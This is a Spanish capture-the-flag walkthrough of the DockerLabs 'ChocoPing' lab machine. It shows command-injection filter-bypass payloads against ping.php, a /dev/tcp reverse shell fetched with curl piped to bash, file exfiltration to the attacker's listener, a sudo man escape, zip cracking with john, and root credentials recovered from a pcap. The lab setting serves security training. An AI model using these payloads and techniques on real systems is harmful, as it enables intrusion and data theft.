ChocoPing DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip chocoping.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh chocoping.tarInfo:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarlaPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 10:44 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62
| http-ls: Volume /
| SIZE TIME FILENAME
| 1.0K 2025-04-05 11:13 ping.php
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 secondsVeremos que solo hay un puerto 80 en el que tiene alojado un archivo llamado ping.php si intentamos entrar en el veremos el siguiente texto:
Por favor, ingresa una IP válida.Vamos a realizar un poco de fuzzing para ver que parametro puede ser el que pueda enviar la IP.
FFUF
ffuf -u 'http://<IP>/ping.php?FUZZ=/etc/passwd' -w <WORDLIST> -fs 34Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.17.0.2/ping.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 34
________________________________________________
ip [Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 9ms]
:: Progress: [20469/20469] :: Job [1/1] :: 74 req/sec :: Duration: [0:00:03] :: Errors: 0 ::Vemos que funciona con el parametro ip, por lo que vamos a probar lo siguiente:
URL = http://<IP>/ping.php?ip=<IP_ATTACKER>Info:
PING 192.168.1.146 (192.168.1.146) 56(84) bytes of data.
64 bytes from 192.168.1.146: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 192.168.1.146: icmp_seq=2 ttl=64 time=0.058 ms
64 bytes from 192.168.1.146: icmp_seq=3 ttl=64 time=0.051 ms
64 bytes from 192.168.1.146: icmp_seq=4 ttl=64 time=0.053 ms
--- 192.168.1.146 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3094ms
rtt min/avg/max/mdev = 0.031/0.048/0.058/0.010 msVeremos que ha funcionado, como esto se esta realizando por el protocolo ICMP vamos a probar a dumpear la informacion que estamos recibiendo con la herramienta tcpdump.
Pero no veremos gran cosa, vamos a seguir realizando fuzzing para poder intentar realizar un RCE poniendo ; pero si lo hacemos nos pondra comando no permitido por lo que vamos a probar a codificarlo en URL pero con la herramienta FFUF.
bypasses.txt
/usr/bin/p?ng
nma? -p 80 localhost
/usr/bin/who*mi
touch -- -la
ls
/usr/bin/n[c]
'p'i'n'g
"w"h"o"a"m"i
\u\n\a\m\e \-\a
ech''o test
ech""o test
bas''e64
/\b\i\n/////s\h
echo whoami|$0
cat$u /etc$u/passwd$u
p${u}i${u}n${u}g
p$(u)i$(u)n$(u)g
w`u`h`u`o`u`a`u`m`u`i
!-1
mi
whoa
!-1!-2
{cat,lol.txt}
{echo,test}
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b
IFS=,;`cat<<<cat,/etc/passwd`
echo${IFS}test
X=$'cat\x20/etc/passwd'&&$X
p\
i\
n\
g
$u $u
uname!-1\-affuf -u "http://<IP>/ping.php?ip=<IP_ATTACKER>;FUZZ" -w bypasses.txt --enc 'FUZZ:urlencode' -fs 21Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.17.0.2/ping.php?ip=192.168.1.146;FUZZ
:: Wordlist : FUZZ: /home/kali/Desktop/bypasses.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 21
________________________________________________
p%5C [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 3ms]
n%5C [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4ms]
X%3D%24%27cat%5Cx20%2Fetc%2Fpasswd%27%26%26%24X [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4ms]
i%5C [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4ms]
%5Cu%5Cn%5Ca%5Cm%5Ce+%5C-%5Ca [Status: 200, Size: 126, Words: 11, Lines: 2, Duration: 3251ms]
%2F%5Cb%5Ci%5Cn%2F%2F%2F%2F%2Fs%5Ch [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4262ms]
:: Progress: [37/37] :: Job [1/1] :: 8 req/sec :: Duration: [0:00:04] :: Errors: 0 ::Veremos que en esta linea de aqui:
%5Cu%5Cn%5Ca%5Cm%5Ce+%5C-%5Ca [Status: 200, Size: 126, Words: 11, Lines: 2, Duration: 3251ms]Pone Words: 11 por lo que sabemos que algo esta poniendo en la pagina, si probamos a utilizar dicho payload:
URL = http://<IP>/ping.php?ip=192.168.1.146;%5Cu%5Cn%5Ca%5Cm%5Ce+%5C-%5CaInfo:
Linux b2e08b52d168 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 GNU/LinuxVemos que se esta ejecutando de forma correcta, por lo que vamos a probar a utilizar la misma mecanica, pero para leer el archivo passwd.
URL = http://<IP>/ping.php?ip=<IP_ATTACKER>;\c\a\t+/e\t\c/p\a\s\s\w\dInfo:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
balutin:x:1000:1000:balutin,,,:/home/balutin:/bin/bash
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tcpdump:x:101:103::/nonexistent:/usr/sbin/nologinVemos que se esta volcando de forma correcta, por lo que vamos a realizar un reverse shell.
Vamos a generar el archivo shell.sh con la reverse shell:
shell.sh
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1Abriremos un servidor de python para que pueda coger el archivo.
python3 -m http.server 80Vamos a realizar este comando:
curl -s http://192.168.1.146/shell.sh | bashCambiar la IP (192.168.1.146) por la vuestra, en mi caso quedaria algo asi:
URL = http://<IP>/ping.php?ip=<IP_ATTACKER>;\c\u\r\l+ -\s+ h\t\t\p://1\9\2.1\6\8.1.1\4\6/s\h\e\l\l.sh+|\b\a\s\hAntes de ejecutarlo nos pondremos a la escucha de la siguiente forma:
nc -lvnp <PORT>Ahora si enviamos ese payload y volvemos a donde tenemos la escucha veremo lo siguiente:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 58866
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b2e08b52d168:/var/www/html$ whoami
whoami
www-dataVeremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate user balutin
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on 2f80b9197745:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on 2f80b9197745:
(balutin) NOPASSWD: /usr/bin/manVeremos que podemos ejecutar el binario man como el usuario balutin por lo que podremos hacer lo siguiente:
sudo -u balutin man man
!/bin/bashInfo:
balutin@2f80b9197745:/var/www/html$ whoami
balutinCon esto ya seremos dicho usuario.
Escalate Privileges
Si vamos a nuestra home veremos un archivo .zip el cual no podremos descomprimir ya que tiene contraseña, por lo que vamos a pasarnoslo a nuestra maquina host pero la maquina victima no tendra python por lo que tendremos que hacerlo de la siguiente forma:
cat ~/secretito.zip > /dev/tcp/<IP_ATTACKER>/<PORT>En la maquina host pondremos lo siguiente:
nc -lvnp <PORT> > secretito.zipAhora enviamos el comando anterior estando a la escucha y veremos esto:
listening on [any] 7755 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 44344Con esto veremos que ha funcionado de forma correcta y veremos el archivo secretito.zip por lo que vamos a crackear la contraseña de la siguiente forma:
zip2john
zip2john secretito.zip > hash.zipjohn --wordlist=<WORDLIST> hash.zipInfo:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chocolate (secretito.zip/traffic.pcap)
1g 0:00:00:00 DONE (2025-04-12 03:36) 25.00g/s 102400p/s 102400c/s 102400C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Veremos que ha funcionado y abremos obtenido el .pcap vamos a ver que contiene:
unzip secretito.zipMetemos como contraseña chocolate y veremos que se descomprimio de forma correcta, ahota si intentamos abrir el .pcap con Wireshark veremos que hay archivos corruptos, por lo que vamos a intentar ver los strings de dicho archivo:
strings traffic.pcapInfo:
POST /login HTTP/1.1
Host: ejemplo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=root&password=secretitosecretazo!
GET /private HTTP/1.1
Authorization: Basic cm9vdDpTdXBlclNlY3JldDEyMyE=
Host: ejemplo.comVeremos que contiene la password de root por lo que vamos a probarla en la maquina victima:
su rootInfo:
root@2f80b9197745:/home/balutin# whoami
rootMetemos como contraseña secretitosecretazo! y veremos que funciono, por lo que habremos terminado la maquina.
Last updated